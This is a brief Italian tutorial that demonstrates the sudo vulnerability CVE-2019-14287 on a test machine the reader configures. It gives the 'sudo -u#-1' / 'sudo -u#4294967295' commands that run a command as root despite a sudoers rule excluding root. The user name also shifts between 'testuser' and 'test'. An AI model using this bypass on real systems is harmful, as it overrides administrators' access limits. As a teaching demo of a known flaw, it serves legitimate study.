
Dimostrazione passo-passo della vulnerabilità sudo CVE-2019-14287 che consente agli utenti con restrizioni di eseguire comandi come root tramite ID utente manipolati.
4294967295 Bug di Sudo che consente agli utenti con restrizioni di eseguire comandi come root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // aggiungere password all'utente visudo
test ALL=(ALL, !root) /usr/bin/id // specifica che questo utente non può usare il comando id con l'utente root
SALVA IL FILE ED ESCI DALL'UTENTE ROOT
sudo su - test
sudo id VERRAI PROMPTATO CON IL MESSAGGIO Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id OPPURE sudo -u#4294967295 id
Ecco fatto, hai eseguito il comando id come root